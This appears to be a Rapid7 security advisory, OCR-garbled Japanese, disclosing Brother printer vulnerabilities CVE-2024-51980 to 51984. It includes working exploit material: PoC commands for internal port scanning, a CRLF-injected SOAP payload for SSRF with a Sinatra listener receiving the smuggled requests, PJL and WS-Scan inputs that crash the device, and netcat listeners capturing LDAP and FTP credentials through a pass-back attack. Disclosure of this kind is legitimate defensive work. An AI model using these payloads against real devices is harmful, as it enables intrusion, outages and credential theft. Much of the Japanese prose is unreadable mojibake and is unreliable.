LTFOBTRE, BESATOEVNBOKEE, TyD)L—EDHR—F60080HSRER R vhT—4 £
DE—F YT INA RITR—FEEZESNIZHTTP 4 —E R (FNAARDKR—F8O) ENLTT/NARD YT
TH—ERIZTIVERTEFET, BB (XTI CVE-2024-519772FALTT /AL RAOAEIP FRL R %
RBESEET, CNEHM>E-HEH (X, RIZCVE-2024-51980%F AL TE—4 YD RER YT —H D
AF¥vUERTL, TCPR—FABEVWTNSERDOREIP PRLRAZHELET,

E T NAANEITCEIRIBESRVIIACNDORIZITHRNH DI ENEREINT-F-D. LTDRY
THZIE., COFIRIZETHDFRBT H=0ODFTavl-delayl NEFENTVET . U TOH A,
BRICTB-OICRESNTULET,

Unset
>ruby CVE-2024-51980.rb --printer_scheme http --printer_ip 203.0.113.1

--printer_port 60080

The printers internal IP address is: 192.168.86.62

>ruby CVE-2024-51980.rb --printer_scheme http --printer_ip 203.0.113.1
--printer_port 60080 --scan_ip 192.168.86.0/24 --delay 30 --scan_port 80,443,64444
Scanning: 192.168.86.0
Scanning: 192.168.86.1

[OPEN] 192.168.86.1:80

[OPEN] 192.168.86.1:443
Scanning: 192.168.86.2

[OPEN] 192.168.86.2:80
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[OPEN] 192.168.86.2:443
Scanning: 192.168.86.3

[OPEN] 192.168.86.3:80

[OPEN] 192.168.86.3:443
Scanning: 192.168.86.4

...snip...

Scanning: 192.168.86.34

Scanning: 192.168.86.35
[OPEN] 192.168.86.35:4444

Scanning: 192.168.86.36

CVE-2024-51981: 4 —/\—HA(K)HO TRk T4—T 1) 2

ST

CVE-2024-51980 TSN TLVD K SIZ, Wz T H—E R#EECVE-2024-519801&, HTTP R—Z D
SOAP YOI AREN LT, TNARDRAF YU BLVHIRIREE)E—NISATUMIARALET . VT
TH—EXDEEED—DIE. I5AT UMM TFNARETHRETZARUINESTRIS5/4TL, Thid
ARV RELIEZITIVITH—ERAMRUIMRF—TENLTCEMNEZTIRAZENTEDLSICT
52T,

CVE-2024-51980& & 24 Y , WS-Addressing ML TT N/ ADVFEIZ L= EEDTCP &K EEL TH
BENGIETET 25 EETHILIETEFEEATLIZAY. Web Services Eventing (WS-Eventing) @
BT RO T a v ierFIAT LT BAIFRIZTT NI ANSEFESIN-URI TVRRAVMITF—4
EEETHIENTAEETT  COMEEICIZ. CRIFA DO 3> ORENHY. HTTP UV T RARRTY
Vo EETTBEOICERENIFAREENHVET . KEZBFTEEDTRLRAIZHLTEREDOHTTP Y
VIRNERTTEET A COUIIRMDOHTTP LARY RFREFITRESNGN=H, ShiZTS
AR —IN—HARYHT R T4—2 1) (SSRE)MEBEELTHONATVET,

REBEZRTID-ODFIROMEZLUTICRLET .
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% Jrrsry o
— (177711 o]
WEE MFC-L9570CDW RERH—/\

1. wse:Subscribe————>

/
2: wse:SubscribeResponse

CRLF >z o3y
3: wprt:CreatePrintJobRequest

|— 4: wse:NotifyTo—e—

5: wprt:CreatePrintJobResponse HDIEDEZEAED

6: wse:Unsubscribe™—————>

7: wprt:CancelJobRequest——

. WEBE(EWS-Eventing DsubscribeBEEZRITL FEOY TRV T avBHMARUNES
BT 2=ODE—7 YR ZURRAUMEZBRLET . cDE—7 YMURI TURRA N R
TYTAZEITBCRLF AP a30 DY —RERYET , SubscribelRfElE. KEENRTY
T3TRIH—TEBARULEAT ., FIZEWeb Services Print (WS-Print) @ JobStatusEvent
ERRELTLET,

SubscribeiBENTET T HE. T/NM AL SubscribeResponse TTHBLET , ZhIZ(X.
FLWHIRVYTLa AT 5zHDUUD ENEENTHEY . REENRTYT6DHE
THYIRII)TLavaBBRTELLIICLET,

. MEEIXWS-Print CreatePrintJobRequestiBEZEEFTTAHIETHIRG) T ARy

FER)A—TEET CNITKY., TS RIERTYT1TEELZ2—7 Y RURI TURRA RS
BHREFRITLET,

TINAR(FBEFSNF=F2—4 YRURI TURKRA D RZHTTP & 17Uy, HTTP POST UY TRk
EEELETLHOL.CRIF AP Ha> DOMREICKY . WEEHIEHTTP R —LIZEED
HTTP AYE —Z AT AIENTEFT . 3T HET. REBFHTTPUITRARRT T Y
SEEFTL, BiEINE=S2—5 YR ORRAMIHLTREIEEDHTTP YU I A MNERITTE
BEIINHYET . MEBHIIRIT VT EINZHTTP UITARD A YR IR G INTA—
B AYFT— AVTUOYRRKRERLICHETEET,
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https://www.w3.org/submissions/WS-Eventing/#Subscribe
https://learn.microsoft.com/en-us/previous-versions/ff547176(v=vs.85)

5. WEHIL, HTLMERSNZHIRIDaTZ# A9 SJobld 2D
WS-PrintCreatePrintJobResponseZ@ T /N\A AMNSZITRYET,

6. REEHIL. EELIYITRVITLaVBEMARU LD FEEFREET =812, WS-Eventing
UnsubscribeiEZHITTEFT,

7. IMEH(L. WS-Print cancelPrintJobRequest #EFHITLT. ATV T3 TERLI=EIRI
oa3dEXvo I TEEY,

WS-Eventing#&4E SubscribeZEAT & VAT UMM TN EA—IC—HT AR RELZE
[ZEMEZ(TEAT=6(2, WS-Addressing # 'L TURI 2B E TEDKSIZHYET , UTICEFDKS5%
SOAP YO T RALDHZERLET

Unset

<?xml version="1.8" encoding="UTF-8"7>

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.0rg/2003/05/soap-envelope"
xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/68/addressing"
xmlns:wse="http://schemas.xmlsoap.org/ws/2004/08/eventing">
<SOAP-ENV :Header>
<wsa:ReplyTo>

<wsa:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:A
ddress>

</wsa:ReplyTo>
<wsa:To>http://schemas.xmlsoap.org/ws/2004/08/eventing/Subscribe</wsa:To>
<wsa:Action>http://schemas.xmlsoap.org/ws/2004/08/eventing/Subscribe</wsa:Action>

<wsa:MessageID>urn:uuid:11111111-1111-1111-111111111111</wsa :MessageID>
</SOAP-ENV :Header>
<SOAP-ENV :Body>
<wse :Subscribe>
<wse:Delivery>

<wse :NotifyTo>

<wsa:Address>http://192.168.86.35:4444/thisdoesntexistandwillbea404

HTTP/1.1&#xD;&%#xA;Connection: keep-alive&#xD;&#xA;Content-Length:

0&#XD ; &#xA ; &#xD ; &#xA ;GET /hax?&amp;paraml1=1111&amp;param2=2222

HTTP/1.1&#xD;&#xA;Content-Type: text/plain&#xD;&#xA;Content-Length:

12&#xD ; &#xA ;Connection: close&#xD;&#xA;&#xD ;& #xA; TESTING12345</wsa:Address>
</wse:NotifyTo>

</wse:Delivery>
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<wse:Expires>P1D</wse:Expires>

<wse:Filter>http://schemas.microsoft.com/windows/2006/08/wdp/print/JobStatusEvent</
wse:Filter>
</wse:Subscribe>
</SOAP-ENV :Body>
</SOAP-ENV:Envelope>

WS-Eventing®Not i fyToEZHRIZ[FWS-Addressing D7RFLAERZNEENTHEY ., ZZTCRLF DR
B(LETEETHRART)ZAMALET, FvUyP2—2 (CR)DASCI XFIL16EE TOXD, 51>
T4—F (LF) DASCII XF (16 TOXATT , CNHDXF(X, ThEnT

1EMJEVWSHTML T2a—T 1o J #FERLTURI XFHEMTEE T, ChizkY., WS-Eventing i@
HMETA—FEINXFEEDHTTP RN —LD—EELTEETHESITHEY  HTTP AVFT —F Xk
)—LITEMTEDLSICHBYET  CNICKY HTTPUSIZRMCDRAIT T DA EEIZHRYET,

BEOHTTP YO AD AN —LRIZFHLWOHTTP UV TRMEEB VAT DICF, T EGEET
keep-alive #R1EIZERFITHIBHENHYET . CNIZKY., RILTCP EHD R M) — L TEHDOHTTP Y
IRMEERTTEFET . RIS AVTUYRZFOIHRELT. AM) —LADR DV I TR EYVIETE
o ITKY RN —LADRD) ) TANEERTEET . TDE. EEDHTTP YT AREEMT
FFET REZIC EHRAVT —ZlcloselITEREL T, AN —LZFRFIMICHRTLET, EHEAFHALLA
5L AN)J—LHADKEDT—REFZ—TIYFIURRAUMI&K>TRESNFEE A,

LEROFEEERTHE RART YT ENFHTTP UIIREDBIFRDESIZBYES LT DB,
BEENHETEITYNSA—E AT — AV TUYT—EEET /hax&WWDTVRRA VA DE
BOGETUJTRMERLTUVET,

Unset
http://192.168.86.35:4444/thisdoesntexistandwillbead404 HTTP/1.1

Connection: keep-alive

Content-Length: ©

GET /hax?&amp;param1=1111&amp;param2=2222 HTTP/1.1
Content-Type: text/plain

Content-Length: 12

Connection: close

TESTING12345
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https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Connection

CRLF E(ZERT
1ET 1D EZEEMT HE. Web Services Eventing NotifyTo AddressldRMDESIZHEYET,

Unset

http://192.168.86.35:4444/thisdoesntexistandwillbea404

HTTP/1.18&#xD ;&#xA;Connection: keep-alive&#xD;&#xA;Content-Length:
0&#XD ; &#xA ; &#xD ; &#xA ;GET /hax?&amp;paraml1=1111&amp;param2=2222
HTTP/1.1&#xD;&#xA ;Content-Type: text/plain&#xD;&#xA;Content-Length:
128&#xD ; &#xA;Connection: close&#xD;&#xA ;&#xD;&#xA; TESTING12345

ZDURI ~DWS-Eventing 4T R4 FLavi@flld, 2—4 v TURHRA VML TSSRF WEETL
F9,

ITHRTOAk

UTOFTIE, BESNTOEVWANESBOKEFEL, TP I)L—F—DR—F60080NSAEBR YT —H
L DT IRTNARIZR—FERESN=HTTP Y—E X (TNNALADHR—F80) EZNLTT /NI RAD
DIJY—ERICTIVERTEEFT . KBEFFZI—T VT HAMY—EREHRKRT S0
CVE-2024-51980FFIALTAEBR YL T —IF R— b XX v 5N TEFT . COKEBDETIEK
YEHTH D=0 . BARET I74JLCVE-2024-51981.rb%E AL TRuby THER V) FREMERLEL
1=

SSRF DEEFETRT =02, AERIPFRL RX192.168.86.35M TCPAR—r 4444|284V RSN T=RERH—
E X L TRuby @SinatraZ7L—L7—9&FERLTHBELHTTIP 77U —23 2R TLET @EUIR
T7ATIA—IIL—IVEZRELTCTIEREHAILET ), CNITKY ., ZOTFT)r—2av DI URR
AN I TRRSINIZEZITHETEE T, Sinatra 7TV —2av EUTOEYTT,

Unset

# gem install sinatra

# gem install rackup

# ruby sinatra_server.rb -0 0.0.0.0 -p 4444
#

# https://sinatrarb.com/intro.html

require 'sinatra'’

get '/hax' do
Sstdout.puts("#######4# HAX-BEGIN #########")
params.each do |k,v|
Sstdout.puts("” key=#{k}, value=#{v}")

end
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https://sinatrarb.com/

Sstdout.puts("” request.body=#{request.body.read}")
Sstdout.puts(" request.ip=#{request.ip}")
Sstdout.puts("######### HAX-END #####4###" )

end

F- AT —/N\—TROIATVREFALTETTEET,

Unset

>ruby sinatra_server.rb -0 0.0.0.0 -p 4444

[2024-04-25 11:32:11] INFO WEBrick 1.8.1
[2024-04-25 11:32:11] INFO ruby 3.1.3 (2022-11-24) [x64-mingw-ucrt]

== Sinatra (v4.0.0) has taken the stage on 4444 for development with backup from
WEBrick

[2024-04-25 11:32:11] INFO WEBrick::HTTPServer#start: pid=10532 port=4444

REISN TLEWAEROKREE L, SSRFZFALT, #—F YT NS RENLTRE Y —/\— LTI
BLTWEI I 7T —aV T L TEEDHTTP YV TR EETTEET . F7 . KB AL
CVE-2024-51981.rbRHUTrEHRZEL. 2—4 VT /N4 X HWeb Services DTURRA UM ENFHT S
BEE&ELET .

Unset
ssrf = BrotherSSRF.new(

"http',
'203.0.113.1",
60080,

' /WebServices/PrinterService'

RIZ.RBHIIBEHORBY —EXCHLTRITIHERDHTTP UV IRMEERTEE Y LTI
RY LSS HEFRIRBY —ER L TETENTNS YT 7TV —230 D /haxTURKRA UM
HLT2ODH 2R DHTTP GET YV TAMERITL. EHDOERD I TYNRSA—FEERDIALTLY
TRERHLET.
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Unset

ssrf.perform_request(

‘http',

'192.168.86.35",

4444,

"GET"',

"/hax',

{
‘paraml’ => "1111",
'"param2’ => '2222'

e

{}

'TESTING12345'

ssrf.perform_request(

"http',

'192.168.86.35",

4444,

"GET',

'/hax ',

{
"paraml’ => "'AAAA',
'param2' => 'BBBB'

H

{}

"HELLO WORLD!'

&%IC. WBHILCVE-2024-51981.rb R V1) ThEEITLUTSSRFEETLET

Unset
>ruby CVE-2024-51981.rb

[+] Using the following wsa:Address to perform SSRF:
http://192.168.86.35:4444/thisdoesntexistandwillbea404
HTTP/1.1&#xD;&#xA;Connection: keep-alive&#xD;&#xA;Content-Length:
08&#xD ; &#xA ; &#xD ; &#xA;GET /hax?&amp;param1=1111&amp ;param2=2222

HTTP/1.1&#xD;&%#xA;Content-Type: text/plain&#xD;&#xA;Content-Length:

12&#xD ; &#xA;Connection: close&#xD;&#xA ;&#xD;&#xA; TESTING12345
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[+] Setting up SSRF callabck via JobStatusEvent event subscription...
[+] Triggering SSRF via create print job request...

[+] Cleaning up, removing JobStatusEvent event subscription...

[+] Cleaning up, removing print job...

[+] Finished.

[+] Using the following wsa:Address to perform SSRF:
http://192.168.86.35:4444/thisdoesntexistandwillbea404
HTTP/1.1&#xD;&#xA ;Connection: keep-alive&#xD;&#xA;Content-Length:
0&#XD ; &#xA ; &#xD ; &#xA ;GET /hax?&amp ;param1=AAAA&amp ;param2=BBBB
HTTP/1.1&#xD ;&#xA;Content-Type: text/plain&#xD;&#xA;Content-Length:
12&#xD ; &#xA ;Connection: close&#xD;&#xA ;&#xD;&#xA;HELLO WORLD!

[+] Setting up SSRF callabck via JobStatusEvent event subscription...
[+] Triggering SSRF via create print job request...

[+] Cleaning up, removing JobStatusEvent event subscription...

[+] Cleaning up, removing print job...

[+] Finished.

Sinatra Web 7 74— 3 & RITLTWV =AY —E XTI, AL -ONERETEET,

Unset

[2024-04-26 11:11:01] INFO WEBrick 1.8.1

[2024-04-26 11:11:01] INFO ruby 3.1.3 (2022-11-24) [x64-mingw-ucrt]

== Sinatra (v4.0.0) has taken the stage on 4444 for development with backup from
WEBrick

[2024-04-26 11:11:01] INFO WEBrick::HTTPServer#start: pid=10256 port=4444

192.168.86.62 - - [26/Apr/2024:11:11:38 +08100] "POST /thisdoesntexistandwillbea404
HTTP/1.1" 404 466 0.0021
192.168.86.62 - - [26/Apr/2024:11:11:38 GMT Daylight Time] "POST

/thisdoesntexistandwillbea404 HTTP/1.1" 404 466
- -> /thisdoesntexistandwillbea404
#it#####HH HAX-BEGIN #########
key=param1, value=1111
key=param2, value=2222
request.body=TESTING12345
request.ip=192.168.86.62
#it###HE HAX-END ######H###

192.168.86.62 - - [26/Apr/2024:11:11:38 +0100] "GET /hax?&paraml=1111&param2=2222
HTTP/1.1" 200 - 0.0014
192.168.86.62 - - [26/Apr/2024:11:11:38 GMT Daylight Time] "GET

/hax?&param1=1111&param2=2222 HTTP/1.1" 200 ©
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- -> /hax?&param1=1111&param2=2222

192.168.86.62 - - [26/Apr/2024:11:11:38 +08100] "POST /thisdoesntexistandwillbea404
HTTP/1.1" 404 466 0.0006
192.168.86.62 - - [26/Apr/2024:11:11:38 GMT Daylight Time] "POST

/thisdoesntexistandwillbea404 HTTP/1.1" 404 466
- -> /thisdoesntexistandwillbea404
#it#####HH HAX-BEGIN #########
key=param1, value=AAAA
key=param2, value=BBBB
request.body=HELLO WORLD!
request.ip=192.168.86.62
#it# A HAX-END #######

192.168.86.62 - - [26/Apr/2024:11:11:38 +08100] "GET /hax?&paraml1=AAAA&param2=BBBB
HTTP/1.1" 2060 - 0.0018
192.168.86.62 - - [26/Apr/2024:11:11:38 GMT Daylight Time] "GET

/hax?&param1=AAAA&param2=BBBB HTTP/1.1" 200 ©
- -> /hax?&param1=AAAA&param2=BBBB

LMD, /haxIVRRAURAD2DOD R ZDHTTP GET UHT AN RIS S I . HEENKE (I
ELEEQOHTTP VIV EOVTUOYT—ENEEN TSI EN LMY ET, Sinatra Dz T 7TV —
$AVHBIELEHTTP ST RRE, T/A1Z(192.168.86.62) h>DED THY . S EFDKEE (2D
ARG —ERICEETIEATEEN)MSDEDTIEHN ENDOMYET,

LEDOESIC. KBEFIZOHEZFAL T, AMY—ERIZHLTISAURHTTP SSRF #%E4TL. =
RGHRBIUEEERTHIENTEET,

CVE-2024-51982: #—E R$EH (DoS) 1

R

TCPAR—RI100IZHER TED RSN TULWENKEE L, F—T INTNAREISY &85 T )Y
A—Ua BB (PIL) AV URERITIHIENTEFET, TNHNAIRIIBREIL. ZOBRKEENITUR
EFHETLTTNARZBYERLISY  ASEBHIENTEET,

PILE S FORMLINES [EHIETHACLZERLTWWETN . KEENACOEHRICHELNDEEZRTE
FBATURERTTEE TNARNISY A LET,

Unset
@PJL SET LPARM:PCL FORMLINES=a
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IHRATOAk

UTDHITIE, RBEESN TOWEVWABKREE NI YT NS RERYIBRLISY 23 EHIENTE
F9, TCPR—ROT00MANER YR T —VIZARAINTNSIGEE . RSN TOELAN O BEEH K
BAERITTHAREMELHVET,

Unset

>ruby CVE-2024-51982.rb --printer_ip 192.168.86.62
Targeting 192.168.86.62:9100

Crashing. ..

Sleeping for 10 seconds...

Connection timedout.

Sleeping for 10 seconds...

Crashing. ..

Sleeping for 10 seconds...

CVE-2024-51983: #—E X$E& (DoS) 2

AT

TFTINAZAD T H—E ABEREITHTTP(FR—F80) Z ML TEIEL . XML R—XMDSOAP YH TR+ 4%
[FTANET , CNODVIITRAMZIEY . 95ATF U MET AR ETHRIBEURAF YU DIREEZETT
BIEMNTEET,

Web ServicesZA ¥~ ZAF¥—< (WS-Scan) [&. RetrieveImageRequest BERZEEL. TDHIC
JobTokenéWSFEREZEHET , JobTokenld, I—H —hCreateScanJobRequestF#FHITL
FRICTNA AL IREINDZENBAFINTLVET , LA L. CreateScanJobRequest MEITE
NTUWEWEEIZ, HEEMNRetrieveImageRequestZ@FHITL, JobTokenBRFIRIME T HE. T
ARGS9 LES  TNAREIF Y 21EEDHXMLSOAP JUTRDHIFUTDRYTY

Unset

<?xml version="1.8" encoding="UTF-8"7>

<SOAP-ENV :Envelope

xmlns :SOAP-ENV="http://www.w3.0rg/2003/05/soap-envelope”

xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/68/addressing"

xmlns:wscn="http://schemas.microsoft.com/windows/2006/08/wdp/scan">
<SOAP-ENV :Header>

<wsa:MessageID>urn:uuid:11111111-1111-1111-111111111111</wsa :MessagelD>
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https://learn.microsoft.com/en-us/windows-hardware/drivers/image/scan-service--ws-scan--schema
https://learn.microsoft.com/en-us/windows-hardware/drivers/image/retrieveimagerequest
https://learn.microsoft.com/en-us/windows-hardware/drivers/image/jobtoken
https://learn.microsoft.com/en-us/windows-hardware/drivers/image/createscanjobrequest

<wsa:Action>http://schemas.microsoft.com/windows/2006/08/wdp/scan/RetrieveImage</ws
a:Action>
<wsa:To>http://schemas.microsoft.com/windows/2006/08/wdp/scan</wsa:To>
</SOAP-ENV :Header>
<SOAP-ENV :Body>
<wscn:RetrieveImageRequest>
<wscn:JobId>1</wscn:JobId>
<wscn:JobToken>thiswillcrashthedevice</wscn:JobToken>
<wscn:DocumentDescription>
<wscn :DocumentName></DocumentName>
</wscn:DocumentDescription>
</wscn:RetrieveImageRequest>
</SOAP-ENV :Body>
</SOAP-ENV :Envelope>

IHRTOAk

UTOHTIE., BESNTOEVWRSBKEENI—T YT NARERYRLITYD 2835 ENTE
FTHTTP Y—E XN R YT —VIZARSh TVSIHE . REASh TRV SO KREENK
BAERITTHAEEELHYVET,

Unset

>ruby CVE-2024-51983.rb --printer_ip 192.168.86.62

Targeting
http://192.168.86.62:80/StableWSDiscoveryEndpoint/schemas-xmlsoap-org_ws_2005_04_di
scovery

Crashing. ..

Connection reset.

Sleeping for 10 seconds...

Crashing. ..

Connection reset.

Sleeping for 10 seconds...

CVE-2024-51984: /\R/\wH %

AT

T INA R [L. LDAP, FTP, SFTP. SharePoint & . TWNA A THERATA=OIZEHO N v arEdEk
ECEET . EEIN=NEBH—ERTEIC TNAARIEHNEBY—ERDREIEFHREZREL. LEIZIS
CTEDH—ERICRLTERIAZTLET,
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INANYOBEBL (T, BBENTNARADN B —ERDREEFLEEL. Y —ERDIPFRLREER
THIEETREICTEIHRETT , ChIZKY ., THAARIHEBEDHIETIZHBIP FRLRAZNLTHRE
éhf—ﬂ- EXIZLTREIZERFISN ., TS RICHEFESN TV SRIEHRNARELET , CDRE

R, BE. KBEBICIFRATEEREA. TDEH. KEENNBY—ERDIP PRLREZEET S
21X, -r/vrx/\@mE;b\: VETY, CCTORFLDTBAF. THRARICHRESA=AHBY—ERD
IP 7RLAMNERINZIRIC, RESNFRBIFERD V)7 INGNIETT BB —ERDIP 7RL
AELEETIEICIE, RESNEZIEFERIIECERFNICHITINIBELAHYET,

LDAP ®FTP H—E R EDHEH—ERDRIIFERERETHE. BB RVNT—VAEHEBE
TEHAEEELAHYET,

ECORBIRBEIZDOWTIX.LDAP B EUVFTP ADARX Y TOT7AILEREDHET AN EL =, SFTP
H KU SharePoint DR ELHEFF THAABEMELHYET,

ITHR7AOAk - LDAP
TINAADEBA U A—DI—RIZT VLR TELRIAEFHFDKHEE(L, LTIZRT LIIZ, LDAP H—
IN—DIP PRLRAER—I BB EZHEENBALEIZEETAIENTEET,
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MFC-L95

General

Network Status
Interface
» Protocol

Notification

E-mail Reports

Service

Address Book | Fax [JCepyll Print | Scan

Logout &

70CDW series

Administrator

|» Metwork |

Wireless | Security

LDAP

LDAP Search

Quick Settings
LDAP Server Address

SSL/TLS

Port

Authentication

Username
Password
Enter password

Retype password

Search Root

Ooff ®0n

[192.168.86.42

@®None OSSLTLS

s4aa |

® Simple

O Anonymous
O Kerberos
ONTLMv2

[TESTDOMAINtestadmin |

\ |

If your server supports LDAPv3 then you can
automatically search for candidates by pressing the
"Fetch DNs" button. If there are multiple candidates
available, you will be able to select the one you want
to use from the drop down menu

LDAP #—/R—®DIP PRLRER—FBEZEELTH, BEFDLDAP 1 —H—£& 0/ AR 7T —F L3 H#
[ZOVTENFERAEEIZWT L THAARTREEDIPTRLRIZERL. LDAP A—HF—&ND/\R
J—FZERAELEY,

Unset
$ ifconfig

ethe: flags=4163<UP,BROADCAST, RUNNING, MULTICAST>
netmask 255.255.255.0 broadcast 192.168.86.255
ether 00:15:5d:56:22:00 txqueuelen 1000
bytes 3945033486 (3.9 GB)

inet 192.168.86.42

RX
RX
X
X

S nc -v -n

packets 6269531
errors @ dropped 1904354

mtu 1500

(Ethernet)

overruns © frame 0

packets 469519 bytes 41172746 (41.1 MB)

errors @ dropped © overruns 0

-1 4444

carrier 0

collisions ©
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Listening on 0.0.0.0 4444
Connection received on 192.168.86.62 48003
03" .TESTDOMAIN\testadmingtest_admin_passwordoB

IHR7TAAk - FTP

TNARADEBA =TI —RIZT VLA TEDZBASN=REE (L, ULTISTRT LI BIFEDITR
FrUEIFTP TAT7AIEERBLIZY. BREFTP H—EXDIP PRLRER— I EFETHEEHNER
LI-MBICERTHENTEET,

MFC-L9570CDW series Logout &

General Address Book | Fax | Copy | Print SLEN Administrator Network

Scan Job e-mail report

Profile 1 (FTP)

Scan File Name

Scan to USB
Scan to E-mail Server Profile Name [FTP Scan Server
Scan to FTP/SFTP/Network/ Host Address ‘192,168.86.42 l
SharePoint
» Scan to FTP/SFTP/Network/ Foxt Numbaer 4a4s |

SharePoint Profile

Username [test_tp_user \
Scan from PC

Password

Password [— |

Retype password \ \

SSLITLS ® None
O SSL(Implicit Mode)
O TLS(Explicit Mode)

Store Directory |iscans

File Name ‘ BRNB42200D56C3B v

FTP H—/\—®DIP FRLARER—FBEBEZZLEHLTH. BBFEDOFTP A —H —&Z ORI —F(XEHIRIIZ
DT EINFRBABEEZWTE THNARETEHEBEDIP PRLRIZHEKGL. WEEHFTP —/N\—0D
ISAT—RERMBTEHLIIHYET,

Unset

$ nc -v -n -1 4444

Listening on 0.0.0.0 4444

Connection received on 192.168.86.62 32091
220 hi
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USER test_ftp_user
331 hi
PASS test_ftp_password

E T INAAMBNetcat YA F—~DIEHGNEILSNDE REBEH L2201 A9 —CF A ALTT /NS
REDFTP EHEZRIRL., RIZT33T Ay E—VF A AL TIART—REERTLIVLENHYET,

Rapid7(Z2\T

Rapid7(E, TORILNS U RTH—A—2av DIEICEE Y B0 X1 ) T/T70T S LBRIEDZIEEEL. HoW
BANZEDTRYRELRT VRN DEREERELTVET . mELANILDRapid7DY ) a—aVR— I+ UK K+
Fa)TAHEBEN)RIEEEL, TTIDLIFIR RDAV TSRS F v, F—U 1T ZEHET, BEDS
VRRT =T EKITHI- o TBBEHRT 5= DIIELRHBLET  Rapid7(E, F—T2Y—RAZ2 =T LR
DHREREL., FONSREEZHMORBELISERAL, RFORBEHEICHIST SNEHEADEF1)T,332=
TAIZETET . HRPD1,0004 A LDEFHFMBICEE SN, RRE)—FIEHV)1—2avEH—EXT &%
ARBEED—LHEEITE FHEIZKRAL, BITHRITHBASODEFENELEY,

RAPID

Command Platform | T RR— 0 —532 |

HET-DREETD zg —7Ix¢-*’= g | gﬁgg{ga 3 222 Z iI (T T
ISR | TV r—ay | 4025 | RubT—4 | T—4

59C¢ HHDOEFAITATIVNTA—LERLTHEEA AvFYYzY R [ MDRY—ER |

mne M. -

rapid7.com/jaTtS A 7 ILERIRT 5,
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